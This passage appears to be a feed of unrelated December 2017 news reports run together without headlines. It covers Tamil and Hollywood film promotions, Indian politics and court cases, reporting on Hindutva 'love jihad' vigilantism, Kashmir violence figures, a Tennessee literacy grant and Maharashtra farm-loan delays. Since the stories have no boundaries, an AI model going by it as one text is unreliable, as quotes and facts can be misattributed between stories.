Vignesh Shivan is also one of the few directors who actively answer queries from fans on Twitter whenever they raise constructive questions. However, he observes that social media has become a cesspool of negativity and stresses the importance of being positive through his tweets. I can't figure out what brought this change, but it is so adverse. A platform that enabled people to tell the world their opinion is now a mere gloom-ridden tool. Everything is now narrowed down to a meme - a tragic news, a movie review, an opinion on individual and what not. What happened to NEET and Anitha's issue after a week? People moved on to something of less or no significance without finding a proper solution. Be it a fan war or individual attacks; some people can't deal it without cuss words. That's why I mention Stay Positive in every tweet of mine for safety reasons.

Starring Keerthy Suresh as the lead heroine, Thaanaa Serndha Koottam also features Ramya Krishnan, RJ Balaji, Nandha and Kalaiarasan in important roles. Anirudh Ravichander has composed the music for the film, which is gearing up for a grand Pongal 2018 release in both Tamil and Telugu.
Ahead of the release of Velaikkaran on 22 December, actor Sivakarthikeyan paid a visit to Kochi on Monday to promote the film along with his co-star Fahadh Faasil, who is foraying into Tamil filmdom with the project.

At the press meet, both the actors opened up about the experience of sharing screen space and their working equation while heaping praise on each other. Siva even agreed that he has not bonded with any actor like he did with Fahadh, who plays his friend in the Mohan Raja directed film.

On working with Fahadh, with whom he has joined hands for the first time, Sivakarthikeyan said, There was so much to learn from brother Fahadh. Most of you are aware of his work in Malayalam, but what you see in Velaikkaran will be in a different league altogether. Initially, I wondered how I would match up to his performance, but thanks to Raja for writing our characters in a way that I feel I have done justice to my role.

When Fahadh was asked if he faced any pressure, given this is his Tamil debut, Sivakarthikeyan answered on his co-stars behalf. Even when he had to deliver eighth pages of dialogues at a stretch, he didnt face any pressure at all.

Fahadh said he had his set of challenges because he was thinking in a different language. I could only think of the dialogues in English or Malayalam. I even conveyed this to my director but Raja reassured that it shouldnt be a problem and that I should work on the film. Nevertheless, I enjoyed working on this project.

On the experience of working with Nayanthara, who plays the leading lady in the film, both Siva and Fahadh showered lavish praise on her. I only worked with her for two days. From what I gathered, I found her to be very professional. I think women are going to love her character. Siva, on the other hand, was proud to have worked with her. She has created space for women-centric films. So many young women who want to become actors look up to her. It was a great learning experience to work with her and Fahadh.

When asked to comment about the culture of fan clubs in south, Siva said that they are important as they help to consolidate all his fans under one roof. I take feedback from them when my films come out. A true fan would shape the career of his idol with constructive feedback. Said Siva, who refused to shed light on whether Fahadh plays the antagonist in the film. Fahadh said that it is best if audience gets to learn more about his character in theatres. Both our characters bring a different dimension to a blue-collar worker, said Fahadh.

In Velaikkaran, Siva plays a worker and he said he has attempted something he has never done in his career. I play a character called Arivu, a worker. Questions raised through my character will connect with everyone. Its a serious film, said Siva, who admitted to have approached Mohan Raja after watching Thani Oruvan. For the first time in my career, I had approached a director with an interest to work together. When I met him, I told him I wanted to work on something that raises pertinent questions about our everyday life and thats how Velaikkaran was born.

Siva said hes willing to work in a Malayalam film, provided he gets help from Fahadh. Brother, you will take care of me, right, Siva asked, leaving everyone in splits. On his successful partnership with composer Anirudh Ravichander, Siva said, We are brothers who share mutual affection. What works for us is that I dont restrict him when it composing songs or tunes. We use whatever he gives us and it has worked big time.
On Monday, when actors Will Smith and Joel Edgerton entered the media room in The St Regis, Mumbai, to discuss Bright (their upcoming Netflix original movie), they went around shaking hands and introducing themselves to each of a group of six journalists in the room  a good-natured act usually quite uncommon among big movie celebrities.

After they were done, Smith suddenly turned to Edgerton with a confused expression and said, "Hi, I'm Will."

Edgerton, instantly catching on to the gag, played along and shook hands with Smith, and replied, "Hi, I'm Joel."

Smith then told Edgerton that the venue was already overbooked, before everyone in the room burst into laughter.

It was this innocent leg-pulling and down-to-earth, warm attitude which made the round-table discussion with Smith and Edgerton so relaxed.

And perhaps the bonhomie and chemistry between the two actors was also meant to market the relationship between the two most important characters in Bright, a buddy cop movie set in a world in which human beings have to live alongside orcs, elves and fairies.

Apart from being a buddy cop and fantasy film, Bright also aims to spread important messages about classism and racial discrimination.

"One of the central aspects of why I wanted to make the movie was the flip of the social ladder. In our world (in Bright), the elves are the one-percenters. They are the haves. And the orcs are the have-nots. And humans are smashed in the middle. So, it was a great exploration for me to be able to play a character who was higher on the social ladder and to realise how everybody is looking for a sense of superiority," Smith told Firstpost, as he talked about the themes in Bright based on racial issues.

"Everybody wants to feel like they're better than somebody. That's what our ego does. And whether it's racism or sexism or nationalism, it really is just a quest for our individual and collective egos to feel like we're good enough. And it's just that we feel like we're good enough by being better than someone else. So, I never comprehended that before playing this character," he also told Firstpost.

Of course, Bright is not the first science fiction movie with messages about discrimination, as was also pointed out by Edgerton. "This film is very original, and yet, that originality is the fusion of familiar elements. And it's also reminiscent of movies like Alien Nation or District 9. And we're not re-inventing the wheel. We're just creating a different fusion of elements," he said.

Edgerton plays a character who is the first orc in the movie's world to become a police officer in the Los Angeles Police Department. And transforming into that character was anything but easy for the Australian actor.

Joel Edgerton had to sit through three hours of daily makeup just to look like his character.

In fact, Smith said that he didn't see Joel's face for almost two months. "There were probably a good, solid 50 days that I didn't see Joel's face. Because he would be in three hours before and then, he would stay an hour after. So, for 50 days of shooting, I never saw his face," said the Men in Black actor.

Smith also said that the two actors even went on ride-alongs with the LAPD to prepare for the role, something which gave him a deeper perspective about the issue of policing.

"We did ride-alongs with the LAPD. We got into the back of a police car for a few days and rode around to actual calls and got a powerful, sort-of first hand look at the difficulty of policing. It's a very difficult issue, especially in a place like America, where the police are of the people."

"The issue of interacting with people in a position of authority is a problem human beings have had forever. And I think technology is changing the way we interact. Technology is changing the way policing is done in America," he said.

"As we're moving into the digital era, I think it's demanding a certain amount of authenticity. I think it will push us close to the truth in very interesting ways," he added.

Edgerton agreed. "The internet is the great watchdog of the world and I think it galvanises people," he said.

Smith also had a lot to say about the current times and state of American politics, although he was very clear about the fact that he is never joining politics.

"I see this time in the world as a sort of cleansing. I think people are clinging to old ways that are gone. There are ways of being that will never exist anymore. And I think with what you see happening in the American and British political system, there's going to be a cleansing," he said. "This is a bit of a dark time before the transition into the new age," he added.

Smith and Edgerton were both forthcoming during the discussion and had common views on a number of issues. Bright director David Ayer also spoke to Firstpost about the bromance between them and how it shapes the movie.

"Will and Joel have this great chemistry and there's a lot of humour throughout the movie. There are elements of action and fantasy but it also has a bit of a message. It's an allegory for a lot of problems in the world today which we share and are aware of," Ayer said.

"I worked with Will on Suicide Squad. And I really enjoyed that. We became good friends. He's strong, tough and comedic. He's really perfect for the role and it's hard to imagine anybody else for the role," he also said. Ayer also had good things to say about Edgerton. "In a lot of ways, he (Joel) is like Jakoby (Edgerton's character in Bright). He's really strong, quiet and has a really self-deprecative sense of humour," he said.

Ayer also shared with Firstpost that a lot of what went into the movie was a result of his own experience.

"I grew up in Los Angeles. I grew up in a very violent neighbourhood. I was in the military. I've traveled the world. I've seen a lot and so, I'm just taking things that I've seen and experienced and putting them into the movie," he said.

Of course, we'll just have to wait and watch whether Bright will be able to deliver on its highly ambitious promises. When a movie promises to combine elements from so many genres, it runs the risk of becoming overburdened.
New Delhi: A Bharatiya Janata Party (BJP) leader has written a letter to the Bar Council of India (BCI) to debar parliamentarians and legislators from practicing as advocates, a statement said on Tuesday.

BJP leader and Advocate Ashwini Kumar Upadhyay, in a letter addressed to Bar Council Chairman Manan Kumar Mishra, has sought debarment of Members of Parliament (MPs) and Members of Legislative Assembly (MLAs) from practising as advocates.

"Many MPs and MLAs appear as advocates even during the Parliament and Legislative Assembly sessions and participate in matters that affect financial interests of the country as well as financial interests of their spouse/children/blood relatives/partners/organisations in which they serve as officer/director/trustee/partner or employee, and person with whom they have an arrangement concerning prospective employment," Upadhyay said in the letter.

He requested the Bar Council to take appropriate steps to debar MLAs and MPs from practising as advocates and ensure compliance of the Advocates Act of the Bar Council of India Rules.

He cited various Supreme Court judgments, including Haniraj L Chulani versus Bar Council of Maharashtra and Goa on 8 April, 1996, wherein it was held that a person who is qualified to be admitted as an advocate but is in either full time or part-time service or employment or is engaged in any trade, business or profession shall not be admitted as an advocate.

The apex Court had observed that the "legal profession requires full time attention and would not countenance an advocate riding two horses or more at a time".
BJP spokesperson Ashwini Upadhyay has written to the Bar Council of India (BCI) asking it to debar MLAs and MPs from practising as advocates in courts of law. He has cited the BCI rules and the Supreme Court judgment in Dr Haniraj L Chulani v. Bar Council of Maharashtra and Goa in support of his demand. He has also addressed a copy of the letter to the Chief Justice of India.

As per the SC Judgement dated 8.4.1996 & BCI Rule 49, a full-time salaried employee of any person, firm, corporation or government can't practice as an Advocate before any Court. Submitted my representation to the CJI & BCI Chairman to debar MLAs & MPs from practicing as Advocate pic.twitter.com/VF9X3dReSQ  Ashwini Upadhyay (@AshwiniBJP) December 19, 2017

Under Rule 49 of the BCI rules, an advocate is not allowed to be a full-time salaried employee of any person, government or firm as long as they continue to practice. If they take up such employment, they cease to practice as an advocate as long as they continue in such employment.

This is not the first time that Upadhyay has sought to restrict legislators from pursuing other professions. In April, the Supreme Court had dismissed his plea seeking to restrict lawmakers from practising any other profession, saying though the petitioner has a valid point the issue is beyond the realm of its jurisdiction. Upadhyay had then told the court that the restriction imposed on judges and public servants against engaging in other professions should also be applied to lawmakers.

"Today, I saw five MPs in the Supreme Court. They have come here after signing a register at 11 AM in Parliament," he had told the court. To this, the court had replied, "Your arguments make sense, but how can we frame policies?"

Upadhyay had said in his plea that members of Parliament "must attend Parliament everyday and dedicate themselves full-time for the welfare of people" as they have a very important role in the federal system.

PRS estimates that 7 percent of the MPs elected to the 16th Lok Sabha are lawyers. Further many notable members of the Union legislature as well as the executive are lawyers. These include Finance Minister Arun Jaitley, External Affairs Minister Sushma Swaraj and Law and Justice minister Ravi Shankar Prasad among others. Furthermore, both the President Ram Nath Kovind and Vice-President M Venkaiah Naidu are lawyers as well.

While lawyers from the ruling party are not noticeably active in the profession, those in the Opposition are busy taking cases. Foremost among these is Kapil Sibal, whose appearance and line of argument in the Ayodhya temple dispute was the subject of much criticism. His party colleague Abhishek Manu Singhvi too is a regular in the Supreme Court and recently represented the West Bengal government in a case regarding Gorkhaland. Singhvi is also representing TTV Dhinakaran in the case regarding the disqualification of 18 AIADMK MLAs from the Tamil Nadu Assembly. Another Congress stalwart, P Chidambaram, too has returned to his legal practice and recently represented the Delhi government in the power tussle between the state and Union governments.

Also, former BJP member and current Rajya Sabha member Ram Jethmalani was one of the most illustrious members of the bar until he announced his retirement from the profession.

With inputs from agencies
Nagpur: Maharashtra chief minister Devendra Fadnavis on Tuesday said the results of Assembly elections in neighbouring Gujarat had made his own government stronger.

"Those who were jumping (with excitement) before poll results had to fall flat. The results have made us stronger and more stable," said Fadnavis, in an apparent jibe at those who predicted a Congress victory, as well as at the BJP's disgruntled ally Shiv Sena.

Speaking to reporters on the sidelines of ongoing Winter Session of Maharashtra legislature, Fadnavis said the results showed that voters didn't trust the Opposition.

"We may have won fewer seats than last time, but we have got almost 50 percent of the votes. It clearly shows that people stood strongly with us. Even in Maharashtra, people are voting for us and for (Shiv) Sena at some places. They don't want the Congress and NCP," he said. Fadnavis also sought to dismiss the notion that the BJP doesn't enjoy much support in rural areas.

"There is nothing called rural distress. Even in Maharashtra, the Opposition-organised farmers' rally was much smaller than our (BJP-organised) farmers' rally of 2013," he said.

Asked when senior BJP leader Eknath Khadse, who is apparently peeved as he has been sidelined following his resignation over corruption allegations, would return to the cabinet, Fadnavis said,

"Khadse hasn't been isolated, he is a top leader in the party. He, or Narayan Rane (who recently

quit the Congress to form his own party) may be outspoken, but they are experienced politicians. I think that it is more important.

"Rane has joined the NDA and now he will be well taken care of," Fadnavis said, adding that Rane's inclusion in the Cabinet will not be from the Shiv Sena's quota and hence any question of Sena being unhappy about it does not arise.

Rane, a former Sena leader, is a fierce critic of the Thackeray family, and the Sena is reportedly opposed to his inclusion in the cabinet.

On a planned oil refinery in Konkan region, which is facing a stiff pposition from locals as well as the Shiv Sena, Fadnavis said some "commercial NGOs" coming from as far as Chennai were behind this Opposition.

"Chembur (in Mumbai) has a refinery for years. Did anyone die there? These claims (about adverse effects on environment) are made due to the lack of knowledge," he said.

"These days even an agitation has become a business. Why these commercial NGOs are making noise in the areas with which they have no association?" he asked, claiming the project may generate one lakh jobs and would probably be the biggest green oil refinery in the world.
Nagpur: "If you get 49.9 percent vote share in Gujarat, then that is hardly anti-incumbency," asserted Maharashtra chief minister Devendra Fadnavis in a recent conversation with reporters at Suyog, outside the Maharashtra Assembly on Tuesday. Pointing to the fact that the difference between the BJP and the Congress is more than 9 percent, he said that while political arithmetic might have meant that the number of seats have gone down, but it is still an incredible victory and is extremely significant to the BJP.

When asked about the effect of the victory on the Maharashtra government, he replied, "We are more stable in Maharashtra due to the victory in Gujarat. The BJP has been the best party in Maharashtra over the last one year and it will continue to make gains everyday. The Shiv Sena has been working together with us and we have good coordination among our leaders. We expect to get through our five year tenure without any hurdles."

Talking about Prime Minister Modi, Fadnavis said that the common man has a lot of trust in him. "That is what lead to the BJP getting 49.9 percent votes in Gujarat and to retain power even after 22 years. The Opposition has tried to spread all sort of incorrect messages against us but we have triumphed in Gujarat and Himachal Pradesh due to the leadership of the Prime Minister and Amit Shah."

Responding to a question about the BJP defying anti-incumbency in Gujarat, Fadnavis said, "the victory in Gujarat after being in power for 22 long years is massive. The fact that almost 50 percent of the voters chose BJP is evidence of a clear verdict. However, even the number of voters who chose NOTA is huge, so every political party must look closely at why this is the case."

Opposition united against Fadnavis

The political atmosphere in Nagpur was electric after the results were declared in Gujarat. The fact that BJP could only hold on to power in the state but with a reduced number of seats allowed Congress leaders to claim a moral victory and say that this is a wake-up call for the BJP. The results did however give the BJP a clear victory and gave the state political stability for the next five years.

Congress' performance in Gujarat has given the party a major boost to the part in Maharashtra. Its long-time partner NCP has been intensifying the agitation against the Fadnavis government in recent days on various issues like non-implementation of loan waiver scheme, MSP prices for agricultural products, law and order, an the problems with Bt cotton. The two parties told the media that the preparations for 2019 have already begun. State Congress president and former chief minister Ashok Chavan went on to say that the Congress has emerged stronger in Gujarat and its after-effects will be felt across the country.

NCP's senior leader and former deputy chief minister Ajit Pawar told Firstpost that both parties had taken the Fadnavis government head-on over its failures on many fronts. In the coming days, it will once again start agitation across the state. "The Gujarat results are clearly anti-BJP. The election was a battle between Modi and Rahul Gandhi and the Congress president must be congratulated for the party's good performance," said Pawar.
Ahmedabad: The Gujarat High Court on Monday issued a notice to Congress leader Abhishek Manu Singhvi in a Rs 5,000 crore defamation suit filed by Anil Ambani-led Reliance Naval and Engineering Limited.

Justice Paresh Upadhyay sought a reply to the notice by 27 December.

The Reliance Group firm filed the defamation suit against the Congress spokesperson for making "false and defamatory statements" about the Rafale fighter jet deal.

The group has maintained that the joint venture between Reliance Aerostructure Ltd and Dassault Aviation was a bilateral agreement between two private companies and had nothing to do with the government.

The company took objection to Singhvi's comment that Finance Minister Arun Jaitley was "fooling" people with his statement that no loans of big defaulters have been waived, and claimed that the government had written off Rs 1.88 lakh crore debt of those who had wilfully defaulted.

"We all know that top 50 corporates owe Rs 8.35 lakh crore to banks, and out of those, three top Gujarat-based companies -- Reliance (Anil Ambani Group), Adani and Essar --owe Rs 3 lakh crore. One of them had last month publicly declared that they are shutting their telecom business with a liability of Rs 45,000 crore due to banks. We would like to ask Finance Minister Arun Jaitley that far from declaring it as NPAs, you are trying to help the defaulter with further defence contracts like the Rafale deal. Why?" Singhvi, also a senior lawyer, said.
Mangaluru, Karnataka: The air of legitimacy that the handling of the Hadiya case has given to the conspiracy theory of 'love jihad' has revved up Karnataka's Hindutva brigade. Infamous for taking law into their own hands, they are now gearing up to take 'love jihad' head-on.

After Akhila Ashokan (24) from Kerala converted to Islam, adopted the name Hadiya and married a Muslim man, her chagrined family approached Kerala High Court last year. Her father alleged that her conversion and marriage was a recruitment strategy of Islamic State and that she might go to Afghanistan to join the terror outfit.

In May, the high court declared Hadiya's wedding void. When the matter reached the Supreme Court (SC), the National Investigation Agency (NIA), the country's premier anti-terror organisation, argued it was indeed a case of indoctrination and psychological kidnapping by a radical Muslim group.

While the case is still in the Supreme Court, the fact that such high institutions have contended that women may be lured by radical Islamists has vindicated the long-held stance of Hindutva vigilantes. In Karnataka's coastal region, they have been crying foul aboutand cracking down on'love jihad' since as early as 2001. And now, they are planning to strike in full force.

Satyajit Surathkal, a leader of Hindu Janajagruti Samiti, said if police don't decisively deal with this issue, his organisation will soon launch "reverse love jihad, where Hindu youth will start wooing Muslim girls, convert them and marry them. But we will ensure that they live a dignified life, free from burkha and live with a family that follows monogamy and be socially and economically empowered".

On Sunday, the Hindu Janajagruti Samiti tweeted:

Pitiable condition of Hindu girls becoming victims of Love jihad https://t.co/H42aSaqUJT pic.twitter.com/4wdHC18OHF  Hindujagrutiorg (@hindujagrutiorg) December 17, 2017



Surathkal was merely echoing the approach of the Vishva Hindu Parishad (VHP), the largest right-wing Hindu organisation. At a mass conclave of seers, heads of mutts and VHP leaders held in Karnataka's Udupi district at the end of November, VHP leader Gopal said Bajrang Dal youth will have to be sent to woo Muslim girls if the Muslims didn't stop 'love jihad'.

Battle-ready

Chandrika Naik, an activist of Durga Vahini (the women's wing of VHP), and Vijay Shetty of Hindu Janajagruti Samiti said they were prepared to act. They said they launched an awareness programme at the ward level along with an intensive watch-and-report system at all high schools, girls' schools and colleges.

Their network of informers includes student organisations, teachers' associations, government employees, bus drivers, conductors, auto rickshaw drivers, hotel employees, pushcart vendors, petty shop owners and many others.

Since September, activists of Hindutva groups such as VHP, Bajrang Dal and Hindu Jagarana Vedike have been approaching families and enquiring if strangers have been harassing their womenfolk.

The protagonists of love jihad are motivated by the religious furtherance of their community. One woman of reproductive age taken from another community is a loss to the community as the ratio of men and women further deteriorates, said Guru Pratap of Hindu Janajagruti Samiti, Mangaluru.

Shri Ram Sena chief Pramod Muthalikinfamous for the attack on a Mangaluru pub in 2009pointed out that the law and investigating agencies don't have any provisions to deal with such "crimes". He said judiciary, police and other government institutions need to understand the gravity of 'love jihad'.

He said a large network of such conversion agents is active in the country. In Hadiya's case, he said 'love jihad' teams from Tamil Nadu and Kerala were involved, and added that their centre in Karnataka is in Haveri districts Shiggaon town. He claimed that since 2009, his organisation has reunited more than 2,000 Hindu women who were brainwashed and lured away with their families in Karnataka.

Reign of terror

Hindutva groups in Karnataka's coastal region occasionally pour scorn on Hindus mingling with Muslims.

In February 2009, members of an unidentified organisation in Mangaluru abducted a Kerala MLA's daughter, then a Class 12 student, from a bus along with a Muslim boy for speaking to each other. The duo was dragged out of the bus and taken to an unidentified location. Before setting them free, the kidnappers reportedly beat up the boy and threatened to kill the girl if she committed the "mistake" again.

In October 2014, Bajrang Dal activists beat up a Muslim man in Mangaluru for escorting home a Hindu woman who worked at his store. This was 50th such attack by fringe Hindu groups in and around Mangaluru city in 2014.

According to Karnataka Komu Souharda Vedike (communal harmony group), the state has seen at least 173 vigilante attacks in the past decade. People's Union for Civil Liberties, a human rights organisation, pegs the number of such attacks at more than 300. The activists say police data under-represent these incidents as many of these are written off as personal skirmishes.

We often have to look over our shoulders when we are in the company of college mates belonging to different faiths," said Sharat Shetty, a Mangaluru-based student leader. He said none in their group gives two hoots about a person's faith and asked why some people are bothered with others' personal lives.

Another Mangaluru student, a Muslim, said she has many Hindu and Christian friends and they mingle freely at public places. She said she is not afraid of going out with them anywhere. However, she did not want her name published.

While the debate about the existence of 'love jihad' continues, Hindutva groups in Karnataka perceive this threat as very real. And to deal with it, they're prepared to pull no punches.

M Raghuram is a Mangaluru-based freelance writer and a member of 101Reporters.com, a pan-India network of grassroots reporters
Education Commissioner Candice McQueen announced Tuesday the 203 public school recipients of the 2018 Read to be Ready Summer Grants, which will provide a total of $8,860,000 in funding for tuition-free, month-long literacy-focused summer camps for 7,700 students in need across the state.

Hamilton County Schools receiving the grants for 2018 are Barger Academy of Fine Arts; East Lake Elementary; Woodmore Elementary; Lakeside Academy of Math, Science, and Technology; Calvin Donaldson Environmental Science Academy; Clifton Hills Elementary; Wolftever Creek Elementary; and Orchard Knob Elementary.

For summer 2018, the third year of the grant program, the department has increased funding per student to allow more sites the ability to offer transportation for students. This will allow programs to fully fund the key components of successful camps, like providing a variety of high-quality texts and a range of learning experiences, while also meeting a key need for students, said officials.

As we have seen the past two years, Read to be Ready summer programs help ensure that our rising first, second and third graders who need it the most are getting additional literacy support throughout the summer months, Commissioner McQueen said. This year, we are increasing access to our camps by providing additional funding to programs so that they can offer transportation to and from the summer camp. As last years results showed, these camps play a crucial role in increasing students vocabulary, reading comprehension and motivation, so we are excited to remove the transportation barrier to allow our students with the highest need to attend.

Over the past two years, the Tennessee Departments of Education and Human Services, with support from First Lady Crissy Haslam, have partnered to expand the Read to Be Ready Summer Grant program. In 2017, about 8,000 rising first, second, and third grade students demonstrated statistically significant gains in critical reading skills and increased their motivation to read. Additionally, through the 2017 summer grant program, more than 180,000 high-quality books were sent home with students, and each student, on average, received 22 new books for his or her home library.

"We are proud of these recipients for their efforts and for the incredible work that will come this summer in order to make sure that all Tennessee children are reading on grade-level by the end of third grade, said First Lady Haslam. These summer camps are a creative and strategic approach to combat summer slide, which can have a considerable effect on the academic progress that students make during the school year.

All Tennessee public schools were eligible to apply for the Read to be Ready Summer Grant program. Prospective applicants were asked to design summer camps that were at least four weeks in length and at least four hours per dayproviding students with access to at least 80 hours of literacy-focused instruction and enrichment during the summer. The summer camps will use high-interest books, authentic literacy experiences, and engaging field trips to help increase students motivation.

Read to be Ready is a coordinated campaign launched by Governor Bill Haslam, First Lady Haslam, and Commissioner McQueen in February 2016 with the goal to increase third grade reading proficiency in Tennessee to 75 percent by 2025 through a variety of initiatives. The campaign seeks to raise awareness about the importance of reading, unite efforts to address low reading achievement, highlight best practices, and build partnerships.

The full list of 2018 Read to be Ready summer grant recipients and local program directors is available on the departments website. To find out more about the grants, visit the Read to be Ready website. For more information on Read to be Ready and the summer grant program, contact Paige Atchley, Read to be Ready program director, at Paige.Atchley@tn.gov.
Aligarh: The Hindu Jagran Manch has warned the management of all Aligarh schools against celebrating Christmas and threatened, if they did so, it would be "at their own risk".

The warning has set alarm bells ringing in all educational institutions in the Uttar Pradesh city, especially Christian schools, where this festival is celebrated by the students and staff.

In a circular, the outfit had warned schools "not to observe the traditional Christmas celebrations" and said if they do so, "it will be at their own risk".

"The circular would be reaching all schools very shortly and we will decide a course of action on receiving their response," Sonu Savita, city president of the Hindu Jagran Manch, told reporters here on Sunday.

Expressing concern over this, Praveen Agarwal, president of the Public School Development Society, said: "Each year we celebrate festivals belonging to all communities and this experience helps our children to play a responsible role as citizens of this country."

Similar sentiments were echoed by Anurag Gupta, Convener of the Parents Association, who said: "Our schools have been playing an important role in helping students acquire knowledge of different religions and this helps them when they move out to different countries all over the globe."

Senior superintendent of police Rajesh Pandey, however, made it clear that the district authorities would not allow anyone to force any school not to observe or celebrate Christmas.

Pandey told PTI he had assured all school managements that full security would be provided to them on Christmas and no one would be allowed to take the law into their own hands.
New Delhi: Of the 182 newly-elected Gujarat MLAs, 47 have declared criminal cases against them, while 141 are crorepatis, says a report released by the Association for Democratic Reforms (ADR).

"Out of the 182 MLAs analysed, 47 (26 percent) MLAs have declared criminal cases against them. Out of 182 MLAs analysed during Gujarat assembly elections in 2012, 57 (31 percent) MLAs had declared criminal cases against them," the report by ADR said on Tuesday.

Gujarat Election Watch and ADR have analysed the self-sworn affidavits of all 182 newly-elected MLAs in the Gujarat 2017 assembly elections. Among MLAs with serious criminal cases, 33 have declared serious cases including cases related to murder, attempt to murder, dacoity, robbery etc. Out of 182 MLAs analysed during Gujarat assembly elections in 2012, 24 MLAs had declared serious criminal cases against them.

ADR, which works for electoral and political reforms, said that among party wise MLAs with criminal cases, 18 out of 99 MLAs from BJP, 25 out of 77 MLAs from INC, one of the two MLAs from Bhartiya Tribal Party, one MLA from NCP and two out of three independents have declared criminal cases against them in their affidavits.

Besides, 12 MLAs from BJP, 17 from INC, one from Bhartiya Tribal Party, one from NCP and two independents have declared serious criminal cases against them in their affidavits.

"Out of the 182 newly-elected MLAs, 141 (77 percent) are crorepatis. Out of 182 MLAs analysed during Gujarat 2012 assembly elections, 134 (74 percent) MLAs were crorepatis," the report said.

Among partywise crorepati MLAs, 84 MLAs from BJP, 54 from INC, two MLAs from Bhartiya Tribal Party and one MLA from NCP have declared assets valued more than Rs 1 crore. The average assets per MLA in the Gujarat 2017 assembly elections is Rs 8.46 crore, while the same was Rs 8.03 crore in 2012.

The average assets per MLA for 99 BJP MLAs analysed is Rs 10.64 crore, 77 INC MLAs (5.85 crore), 2 Bhartiya Tribal Party MLAs (Rs 2.71 crore) and 3 Independents (Rs 53.86 lakh). The top three MLAs with high assets are Saurabh Yashvantbhai Dalal Patel of BJP with total assets of over Rs 123 crore, followed by Dhanjibhai Patel (Makson) also from BJP (over Rs 113 crore) and Chavda Jawaharbhai Pethaljibhai from INC (over Rs 103 crore), the report by ADR said.

Three MLAs in Gujarat with lowest assets have their assets valued less than Rs 13 lakh led by independent Jigneshkumar Natvarlal Mevani with total assets of over Rs 10 lakh. The report said that 13 out of 182 MLAs have not declared their sources of income. The average assets of re-elected MLAs in 2017 is Rs 10.71 crore, while in 2012 it was Rs 7.41 crore, ADR added.

"The growth in average assets of re-elected MLAs is Rs 3.30 crore ie by 45 percent," it said. On their education details, the report said that 96 MLAs have declared their qualification to be between 5th pass and 12th pass, while 69 have declared having a qualification of graduate or above. There are seven MLAs who are just literates while there is one who is illiterate.

As per the findings of the report, 21 MLAs have declared their age to be between 25 and 40 years, while 121 between 41 and 60 years. There are 40 MLAs who have declared their age to be between 61 to 80 years. Out of the 182 MLAs, 13 are women against 16 in 2012.
New Delhi: India on Tuesday said it will take up with Islamabad reports that some members of the Sikh community were forcibly converted to Islam in Pakistan.

We will take this up at the highest level with Government of Pakistan. @IndiainPakistan

Sikh community in Hangu being forced to convert https://t.co/HiWuVmBzbj  Sushma Swaraj (@SushmaSwaraj) December 19, 2017

According to a Pakistani media report, members of the Sikh community in Hangu district of Khyber-Pakhtunkhwa province told Deputy Commissioner Shahid Mehmood that Assistant Commissioner Tehsil Tall Yaqoob Khan was allegedly forcing Sikhs to embrace Islam.

Farid Chand Singh, who filed the complaint, was quoted as saying that community members were living in the area since 1901 and peacefully with Muslims. He said residents of Hangu district had never harmed the Sikh people.
New Delhi: As many as 318 people, including 203 terrorists and 75 security personnel, were killed in terror-related incidents in Jammu and Kashmir this year, the Lok Sabha was informed on Tuesday.

In the northeast, 97 people, including 51 insurgents and 12 security personnel, were killed in insurgency-related incidents, Minister of State for Home Hansraj Ahir said during Question Hour.

Up to 14 December this year, 337 terror incidents were reported in Jammu and Kashmir in which 40 civilians, 75 security personnel and 203 terrorists were killed and 321 persons injured, the highest in the last four years. Ninety-one terrorists were also arrested.

Referring to incidents in the areas affected by left wing extremism, Ahir said up to November 30 this year, 813 incidents took place leading to the death of 170 civilians, 75 security personnel and 111 left wing extremists. One hundred and forty five people were also injured. He said 1712 left wing extremists were also arrested.



While there have been two attacks each in 2014 and 2015 on defence establishments, six attacks took place in 2016. This year upto 10 December, one defence establishment came under attack.
New Delhi: A committee set up by the Jammu and Kashmir government has recommended the withdrawal of cases against 5,000 youths, accused of pelting stones on security forces, the Lok Sabha was informed on Tuesday.

Minister of State for Home Hansraj Ahir said the government of Jammu and Kashmir has constituted a committee under the chairmanship of the state director general of police to review the cases registered against the youths and examine the legal aspects of withdrawal or closure of such cases which are not heinous in nature.

"The committee has recommended 850 cases involving 4,961 (one-time offenders) persons/youths subject to certain terms and condition to the state government," he said, replying to a written question.

The move came after Home Minister Rajnath Singh requested Chief Minister Mehbooba Mufti to do the needful to withdraw cases against those who were accused of pelting stones for the first time.
Srinagar: Two unidentified militants were killed in an overnight encounter with security forces in Shopian district of Jammu and Kashmir, the army said on Tuesday.

Security forces launched a cordon and search operation in Wanipora area of Shopian on Monday evening following information about presence of militants in the area, an Army official said.

He said the search operation turned into an encounter as militants opened firing towards the security forces.

"Two militants have been killed so far and the operation is still in progress," the official said.
Paishyacha song aanta yet nahi (Money is one thing you can't put up a pretence about). As uncertainty over disbursal of the state's farm loan waiver due to continuous delays linger on, discontented farmers in the hinterland of Maharashtra repeated this Marathi aphorism in sheer disappointment when this reporter visited them.

The above aphorism also rings true for banks in rural areas which have been tasked with seeing the implementation of the scheme through to the last mile. Nearly six months after the announcement of the schemenamed the Chhatrapati Shivaji Shetkari Sanman Yojanabanks are still grappling with mismatches in data, and are working at a frantic pace to correct errors, many of which cropped up partly due to the breakneck speed in the first place.

For instance, an official from a prominent nationalised bank in Yavatmal district said that the bank received three lists of beneficiaries in the past month. "In all, there were 313 names of account holders in these lists sent by the government. Out of these, 102 names were found to be error-free in all respects. The rest had to be sent back to the government after making the necessary corrections," the official said.

An official in another bank spoke of a similar situation -- 2,205 accounts with correct details out of 2,955 accounts. Here, too, the government sent three lists in about a month -- the last one being as recent as 11 December. Bank officials across districts said that they are given only one or two days to identify and rectify mistakes in the data.

In Wardha district, an official from a nationalised bank said that most of the errors now are with respect to the loan waiver amounts. "In cases where the waiver amount in the list sent by the government is less than our records, we are now crediting the amount approved by the government into the loan accounts. The remaining amount will be sent by the government later. Due to this, we are on a daily basis dealing with farmers who ask us why only a part of the amount has been waived."

Officials from both nationalised and District Cooperative Central Bank said they were under immense pressure to meet deadlines. "Even on the evening of Diwali, we worked till 9 pm," recalled one of them. A senior official said, "While sending farmers' data to the government the first time around, we worked for 14 to 18 hours every day for weeks. In that period, our superiors would intentionally call us on our office landline phones instead of our mobiles, just to check if we were at work or not."

Meanwhile, many farmers are still awaiting the waiver amount to reflect in their loan accounts. Dharampal Jarunde, who owns five acres of agricultural land in Dorli village in Wardha district, said, "I have not received the loan waiver amount, and as per my knowledge, neither has anyone else in my village."

